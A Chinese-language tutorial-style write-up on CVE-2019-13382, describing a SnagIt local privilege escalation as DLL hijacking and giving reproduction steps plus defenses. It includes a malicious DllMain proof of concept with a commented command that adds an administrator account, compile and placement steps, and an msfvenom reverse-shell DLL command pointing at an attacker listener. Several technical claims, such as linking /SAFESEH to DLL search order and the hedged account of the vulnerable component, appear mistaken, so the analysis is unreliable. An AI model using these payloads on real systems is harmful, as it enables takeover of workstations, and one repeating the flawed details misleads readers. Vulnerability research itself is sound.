1. 项目概述:一次经典的本地权限提升漏洞狩猎
几年前,我在做内部安全评估时,经常遇到一个场景:客户或同事的办公电脑上,除了那些耳熟能详的办公套件,还装着不少“生产力工具”,SnagIt就是其中非常常见的一款。这款由TechSmith开发的截图与屏幕录制软件,以其强大的功能和易用性赢得了大量用户,从普通职员到技术专家都在用。当时我就在想,这类几乎拥有“准系统级”权限的软件(因为它需要捕获屏幕、模拟键盘输入、访问剪贴板),如果存在设计缺陷,会不会成为攻击者从普通用户权限跃升到系统管理员权限的跳板?这个疑问,在CVE-2019-13382被公开后得到了验证。这不仅仅是一个CVE编号,它代表了一次对“受信任”应用程序边界的成功穿透,其利用思路之清晰、影响之直接,堪称本地权限提升(Local Privilege Escalation, LPE)漏洞分析的经典教学案例。
简单来说,CVE-2019-13382是SnagIt 2019.1.3及之前版本中存在的一个本地权限提升漏洞。攻击者可以利用该漏洞,从一个低权限的普通用户账户,无需知晓管理员密码,直接获取到系统的最高权限(在Windows上通常是SYSTEM或Administrator权限)。这种漏洞的危害性极大,因为在企业环境中,攻击者可能先通过钓鱼邮件等手段获得一个普通用户的初始访问权限,然后利用此类LPE漏洞“提权”,从而完全控制该工作站,窃取敏感数据、横向移动或部署持久化后门。今天,我就以一名漏洞研究者的视角,带大家完整复盘这个漏洞的发现、分析与利用过程,其中涉及的思路和技巧,对于理解Windows安全机制和软件安全开发具有普适性的参考价值。
2. 漏洞原理深度解析:DLL劫持与路径搜索顺序的博弈
要理解CVE-2019-13382,核心在于弄懂两个关键概念:DLL劫持(DLL Hijacking)和Windows DLL搜索顺序。这不是什么新颖的攻击手法,但正是其“经典”性,使得许多软件,包括像SnagIt这样成熟的商业软件,依然会中招。
2.1 DLL劫持的本质:信任的滥用
动态链接库(DLL)是Windows系统的基石,程序通过加载DLL来调用其中的函数,实现功能复用。当一个应用程序启动时,它会声明需要哪些DLL。系统或程序自身会按照一个既定的顺序去磁盘上寻找这些DLL文件并加载它们。DLL劫持,就是指攻击者将一个恶意的DLL文件,放置在应用程序查找顺序中比合法DLL更靠前的位置。当应用程序运行时,它会“误以为”找到了需要的DLL,从而加载并执行攻击者恶意DLL中的代码。由于DLL被加载到应用程序的进程空间内,因此恶意代码将继承该应用程序的所有权限。
这里就引出了核心问题:应用程序以什么权限运行?如果SnagIt的某个组件在启动时,是以高权限(如管理员权限)运行的,或者其服务(Service)以SYSTEM权限运行,那么成功劫持其加载的DLL,就意味着恶意代码也获得了相应的高权限。
2.2 Windows的DLL搜索顺序:攻击者的路线图
Windows系统在加载DLL时,默认遵循一个特定的搜索路径顺序(除非程序显式指定了绝对路径或使用了安全措施)。对于未指定完整路径的DLL,其搜索顺序通常如下:
- 应用程序所在的目录。
- 系统目录(如
C:\Windows\System32)。需要高权限才能写入。 - 16位系统目录(
C:\Windows\System)。 - Windows目录(
C:\Windows)。 - 当前工作目录。
- 环境变量PATH中列出的目录。
CVE-2019-13382的突破口,恰恰就在这个“当前工作目录”上。在SnagIt 2019.1.3及之前版本中,存在一个或多个以高权限运行的可执行文件或服务,它们在尝试加载某些DLL时,没有指定完整路径,并且对“当前工作目录”的控制不足,导致攻击者可以将恶意DLL放置在特定位置并诱使高权限进程加载它。
注意:从Windows XP SP2开始,为了缓解此类攻击,系统引入了“安全DLL搜索模式”。启用后,
当前工作目录的搜索顺序会被移至系统目录之后。但是,这个模式不是默认强制开启的,应用程序可以通过链接器选项或清单文件(Manifest)来禁用此安全特性。许多老旧应用程序或未遵循最新安全实践的应用程序,可能仍在使用不安全的搜索顺序。
2.3 SnagIt的具体脆弱点分析
根据公开的漏洞详情,问题主要出在SnagIt的一个名为SnagItEditor.exe的组件或相关服务上。该进程在启动时,会尝试加载一些未指定绝对路径的DLL,例如某些用于图像处理的第三方库或运行时库(如MSVCP140.dll,VCRUNTIME140.dll等Visual C++ Redistributable库)。
攻击场景可以这样构建:
- 攻击者已经通过某种方式(如诱导用户打开恶意文档)在目标系统上获得了一个低权限的shell。
- 攻击者发现目标系统安装了存在漏洞版本的SnagIt。
- 攻击者将精心构造的恶意DLL,命名为目标高权限进程会寻找的DLL名称(例如
evil.dll重命名为MSVCP140.dll)。 - 攻击者通过某种方法,将高权限进程的“当前工作目录”设置为恶意DLL所在的目录。这通常可以通过创建快捷方式、利用其他漏洞或特定的程序调用方式来实现。在SnagIt的案例中,可能涉及对某些文件类型(如
.snagproj)的关联处理,当用户双击此类文件时,会以较高权限启动编辑器并设置工作目录到文件所在路径。 - 当高权限的
SnagItEditor.exe启动并尝试加载MSVCP140.dll时,由于未指定完整路径且安全DLL搜索模式未生效,它首先检查自身目录(可能没有),然后检查“当前工作目录”。此时,攻击者控制的目录被优先搜索,恶意DLL被加载。 - 恶意DLL中的代码(例如在
DllMain函数中)得以执行,并且是在高权限的上下文中运行。攻击者代码可以轻易地创建一个具有SYSTEM权限的反弹shell、添加管理员用户或执行其他任意操作。
3. 漏洞环境搭建与复现实操
理论分析之后,最好的理解方式就是亲手复现。下面我将详细拆解在受控环境中复现CVE-2019-13382的完整步骤。请务必仅在你自己拥有完全控制权的虚拟机或测试环境中进行以下操作,切勿在任何生产或他人系统上尝试。
3.1 实验环境准备
- 靶机系统:Windows 10 (版本1809或更早,以匹配漏洞时间线),建议使用虚拟机(如VMware Workstation或VirtualBox)。
- 漏洞软件:SnagIt 2019.1.3。你需要从可信的软件存档网站或自己保留的旧版本安装包获取。安装时,注意观察安装路径和是否创建了相关服务。
- 攻击机:可以是同一虚拟网络下的另一台虚拟机(如Kali Linux),也可以是本机(如果靶机是虚拟机且网络模式为NAT或桥接)。攻击机需要具备编译器和基本的网络工具。
- 权限:在靶机上准备两个用户账户:一个普通用户(
lowpriv_user),用于模拟初始入侵点;一个管理员用户(用于安装软件和对比验证)。
3.2 恶意DLL的制作
恶意DLL的核心是在其入口点执行我们的提权代码。这里我们用一个最简单的“概念验证”(Proof-of-Concept, PoC)来演示:弹出一个计算器(calc.exe),但以高权限运行。如果成功,计算器将以SYSTEM或管理员身份启动,这通常意味着其标题栏会显示“管理员”或进程所有者是SYSTEM。
我们使用C语言和MinGW编译器来制作这个DLL。
编写DLL源码 (
poc.c):#include <windows.h> #include <stdlib.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { // 当DLL被进程加载时执行 // 这里我们启动一个计算器。在实际攻击中,这里可以替换为任何payload。 system("calc.exe"); // 也可以尝试创建用户:system("net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add"); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }这段代码定义了一个标准的DLL入口函数
DllMain。当DLL被加载到进程时(DLL_PROCESS_ATTACH),它会执行system(“calc.exe”)命令。关键在于,执行这个命令的进程上下文,就是加载此DLL的进程上下文。编译DLL: 在攻击机(或配置了编译环境的靶机)上,使用MinGW的
gcc进行编译。我们需要将DLL命名为目标进程会寻找的名字,假设目标进程寻找的是MSVCP140.dll。# 假设你的源码是 poc.c x86_64-w64-mingw32-gcc -shared -o MSVCP140.dll poc.c这条命令会生成一个64位的
MSVCP140.dll文件。你需要根据目标SnagItEditor.exe的架构(32位还是64位)来编译对应版本的DLL。通常,SnagIt 2019是64位应用,所以使用64位编译器。如果不确定,可以尝试分别编译32位(i686-w64-mingw32-gcc)和64位版本。
3.3 寻找劫持点与触发漏洞
这是最需要耐心和技巧的一步。我们需要找到SnagIt中以高权限运行、且存在不安全DLL加载的组件。
信息收集:
- 安装SnagIt 2019.1.3。
- 查看安装目录(通常是
C:\Program Files\TechSmith\SnagIt 2019\)。观察其中的可执行文件。 - 使用系统自带工具或Process Explorer、Process Monitor等高级工具,查看SnagIt相关进程的启动方式和权限。
- 关键步骤:使用Process Monitor。这是微软提供的免费神器,可以监控所有文件、注册表、进程活动。
- 以管理员身份运行Process Monitor。
- 设置过滤器:
Process Name包含SnagItEditor.exe,并且Operation包含LoadImage(对应DLL加载)或CreateFile(对应文件查找)。 - 启动SnagIt Editor(可以尝试直接运行
SnagItEditor.exe,或者双击一个.snag或.snagproj文件)。 - 在Process Monitor的日志中,寻找
SnagItEditor.exe进程对DLL的LoadImage操作。特别关注那些Result为NAME NOT FOUND或PATH NOT FOUND的条目,这表示进程在某个路径下没找到DLL。这个“寻找的路径”就是潜在的劫持点。如果这个路径是用户可写的(比如当前工作目录,且该目录是用户的家目录或临时目录),那么机会就来了。
定位脆弱DLL: 通过Process Monitor分析,你可能会发现
SnagItEditor.exe在启动时,会从“当前工作目录”尝试加载诸如VCRUNTIME140.dll,ucrtbase.dll等运行时库。这些库通常位于系统目录,但如果工作目录被控制,并且安全DLL搜索模式未生效,程序就会优先加载工作目录下的同名DLL。构造攻击场景: 假设我们通过分析发现,当用户双击一个
.snagproj文件时,系统会以较高权限(可能通过COM提升或服务调用)启动SnagItEditor.exe,并且将“当前工作目录”设置为该.snagproj文件所在的目录。- 攻击者(低权限用户)在自己的目录(如
C:\Users\lowpriv_user\Documents\evil\)下,放置两个文件:- 编译好的恶意DLL,重命名为目标DLL名,例如
VCRUNTIME140.dll。 - 一个无害的
.snagproj文件(可以从其他地方复制一个过来,或者创建一个空的文本文件改后缀)。
- 编译好的恶意DLL,重命名为目标DLL名,例如
- 攻击者诱导受害者(可能是用户自己,在模拟测试中就是我们主动操作)去打开这个目录下的
.snagproj文件。由于是低权限用户自己的目录,他完全有权限放置文件。
- 攻击者(低权限用户)在自己的目录(如
触发与验证:
- 以低权限用户 (
lowpriv_user) 身份登录靶机。 - 导航到
C:\Users\lowpriv_user\Documents\evil\目录。 - 双击其中的
.snagproj文件。 - 观察结果:如果漏洞存在,SnagIt Editor会尝试启动。在加载过程中,它会从当前目录(即
evil\目录)寻找VCRUNTIME140.dll,并加载我们的恶意DLL。 - 恶意DLL中的
DllMain函数执行,调用system(“calc.exe”)。 - 关键验证:弹出的计算器窗口,检查其标题栏或通过任务管理器查看
calc.exe的进程所有者。如果所有者是SYSTEM或你的管理员用户名,而不是lowpriv_user,那么恭喜,本地权限提升成功了!
- 以低权限用户 (
实操心得:在实际测试中,Process Monitor的过滤器设置至关重要。一开始可以放宽过滤条件,捕获所有SnagIt相关进程的活动,然后慢慢缩小范围。重点关注进程启动初期的文件操作。另外,注意区分进程的“映像路径”和“当前工作目录”。有时需要尝试多种文件关联和启动方式才能找到正确的触发点。
4. 漏洞利用的进阶思考与防御视角
成功弹出一个计算器只是PoC,证明了漏洞的存在和可利用性。真实的攻击远不止于此。理解攻击者的完整思路,才能更好地进行防御。
4.1 从PoC到真实武器化利用
一个真实的攻击payload不会只是弹计算器。攻击者会追求隐蔽、持久和功能强大。恶意DLL中的代码可能会做以下事情:
- 获取反向Shell:最常用的方式。DLL中会包含建立网络连接、执行命令的代码,将目标主机的控制权回传给攻击者的监听服务器。由于是以高权限运行,这个shell本身就具备了高权限。
// 示例代码片段(需补充WS2_32库链接和错误处理) #include <winsock2.h> #pragma comment(lib, “ws2_32.lib”) // ... 在DllMain中创建socket,连接攻击机IP:Port,然后重定向标准输入输出到socket,最后创建cmd进程。 - 添加用户或激活隐藏账户:直接通过
net user命令或调用Windows API(如NetUserAdd)添加一个管理员用户。 - 转储凭证:利用高权限,从LSASS进程内存中转储哈希或明文密码,用于横向移动。
- 安装后门或持久化:修改注册表启动项、创建计划任务、安装服务等,确保在系统重启后仍能保持控制。
- 绕过杀毒软件:真实的恶意DLL会采用各种混淆、加密、反调试技术来规避安全软件的检测。
4.2 为什么SnagIt会中招?——开发与运维的教训
这个漏洞反映出几个经典的安全问题:
- 不安全的DLL加载:这是根本原因。开发人员在编写代码时,调用
LoadLibrary或依赖运行时库自动加载时,没有指定DLL的完整绝对路径,或者没有正确设置加载选项。 - 过时的编译选项:为了兼容旧系统或解决一些依赖问题,开发人员可能在项目配置中禁用了“安全DLL搜索模式”(
/SAFESEH链接器选项或清单文件中的设置),导致系统层面的缓解措施失效。 - 高权限组件的过度信任:像编辑器、更新程序这类组件,有时会被设计成以高权限运行(例如为了访问所有用户的屏幕或修改Program Files目录下的文件),但没有对其进行严格的安全审计,认为“受信任的软件”内部是安全的。
- 安装目录权限问题:虽然Program Files目录普通用户无法写入,防止了直接的DLL替换,但“当前工作目录”这个攻击向量绕开了这个保护。任何用户对其“当前目录”(如下载文件夹、文档目录)都有完全控制权。
4.3 防御措施与缓解方案
理解了攻击原理,防御就有的放矢。可以从开发、部署和系统三个层面进行:
对于软件开发人员:
- 指定绝对路径:加载DLL时,使用
LoadLibraryEx并指定LOAD_LIBRARY_SEARCH_SYSTEM32等标志,或将DLL放在安全位置并使用完整路径。 - 启用安全特性:确保链接器选项启用了
/SAFESEH(针对32位),并使用清单文件指定requestedExecutionLevel和safeDllSearchMode。 - 最小权限原则:不要轻易让组件以高权限运行。如果必须,则尽可能缩小其攻击面,对输入进行严格校验,并审计其所有外部依赖加载行为。
- 代码审计与模糊测试:将DLL劫持作为安全测试的常规项目。
对于系统管理员和安全人员:
- 及时更新:这是最有效的方法。TechSmith在漏洞披露后发布了修复版本,更新到SnagIt 2019.1.4及以后版本即可解决。
- 应用权限控制:使用AppLocker、Windows Defender Application Control (WDAC) 等工具,制定策略,限制非授权软件的运行,并控制特定软件的DLL加载行为。
- 系统级加固:通过组策略启用“启用安全DLL搜索模式” (
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode),但这可能影响一些老旧应用程序。 - 用户教育:告诫用户不要从不受信任的位置打开文件,尤其是那些可能关联到高权限软件的文件类型。
- 安全监控:使用EDR/AV软件监控可疑的进程创建行为,特别是从用户可写目录加载DLL到高权限进程的情况。
5. 漏洞研究中的常见问题与排查技巧
在复现和分析这类漏洞时,你可能会遇到各种问题。下面是我在多次实践中总结的一些排查思路。
5.1 问题排查速查表
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
| 恶意DLL已放置,但计算器未弹出 | 1. DLL架构不匹配 (32 vs 64位)。 2. 目标进程没有尝试从当前目录加载该DLL。 3. 安全DLL搜索模式生效,优先加载了系统目录下的合法DLL。 4. 恶意DLL编译失败或入口函数错误。 | 1. 用Process Monitor确认目标进程(SnagItEditor.exe)的架构,使用对应编译器重新编译DLL。2. 仔细检查Process Monitor日志,确认在触发时,目标进程是否对 你的DLL文件名发出了CreateFile或LoadImage请求,且结果是否为SUCCESS。如果没有,说明劫持点不对。3. 检查目标进程的导入表(使用 dumpbin /imports SnagItEditor.exe)或运行时加载,确认它是否需要这个DLL。尝试劫持更常见的运行时库(如VCRUNTIME140.dll)。4. 使用 Dependency Walker或Process Explorer查看进程实际加载的DLL列表,确认你的恶意DLL是否被加载。 |
| 计算器弹出,但仍是普通用户权限 | 1. 触发漏洞的进程本身权限就不高。 2. 触发方式不对,没有激活高权限组件。 | 1. 使用Process Explorer查看启动的SnagItEditor.exe进程的“Integrity Level”和所属用户。如果只是Medium或当前用户,则提权失败。需要寻找其他触发路径(如通过服务、COM对象提升、计划任务等)。2. 尝试通过不同的文件关联或命令行参数启动SnagIt组件。研究SnagIt的安装目录,看是否有其他exe或服务。 |
| Process Monitor日志过多,难以筛选 | 过滤器设置不当。 | 1. 先清空现有过滤器,只添加一个:Process NameisSnagItEditor.exe,然后进行操作。捕获日志后,再根据Operation类型(LoadImage,CreateFile)进行二次筛选。2. 在操作前开始捕获,操作后立即停止,减少无关日志。 |
| 编译的DLL导致目标进程崩溃 | 恶意DLL的代码存在错误,或DLL初始化失败。 | 1. 简化PoC代码,确保DllMain函数尽量简单,只做最基本的操作(如写一个日志文件到临时目录)。2. 检查编译选项,确保使用了正确的运行时库( -static静态链接有时可以避免依赖问题)。3. 在DLL中不使用 system()这类可能依赖环境变量的函数,改用CreateProcess等Win32 API直接启动进程。 |
5.2 高级技巧:使用MSFVenom生成Payload
对于渗透测试人员,使用Metasploit的msfvenom可以快速生成功能强大的恶意DLL。
# 在Kali Linux攻击机上生成一个反向Shell的DLL msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f dll -o evil.dll # 将生成的evil.dll重命名为目标DLL名,如VCRUNTIME140.dll然后在攻击机上启动Metasploit的监听器(multi/handler),设置好对应的payload和参数。当漏洞触发,恶意DLL被加载后,你就会获得一个高权限的meterpreter会话。这种方式生成的payload可能被现代AV/EDR检测,在实际测试中需要考虑免杀处理。
5.3 漏洞修复后的验证
在打上官方补丁或升级到新版本后,如何验证漏洞是否真的被修复了?重复之前的PoC测试是最直接的方法。但更深入一点,你可以:
- 对比行为:在新版本上再次使用Process Monitor监控,观察
SnagItEditor.exe加载DLL的路径。修复后,它应该会从安全路径(如系统目录或自身的安装目录)加载目标DLL,或者对DLL进行数字签名验证。 - 检查文件权限:查看新版本安装目录的权限设置是否更加严格。
- 阅读安全公告:TechSmith的官方安全公告可能会说明修复方式,例如“通过安全加载DLL修复了权限提升漏洞”。
CVE-2019-13382虽然是一个已经修复的旧漏洞,但它像一本教科书,清晰地展示了“不安全的DLL加载”这一古老威胁在现代化软件中依然可能存在的现实。对于安全研究者,它提供了完整的漏洞狩猎分析范本;对于开发者,它是一个关于安全编码和依赖管理的警示;对于运维人员,它强调了及时更新和最小权限的重要性。在安全的世界里,攻击面往往就藏在那些最寻常的细节之中,而理解这些细节,正是构筑有效防御的第一步。在我自己的测试中,最大的收获不是成功弹出了那个SYSTEM权限的计算器,而是通过这个过程,彻底摸清了一个应用程序从启动到加载依赖的完整生命周期,这种对系统行为的深刻理解,是任何工具都无法替代的。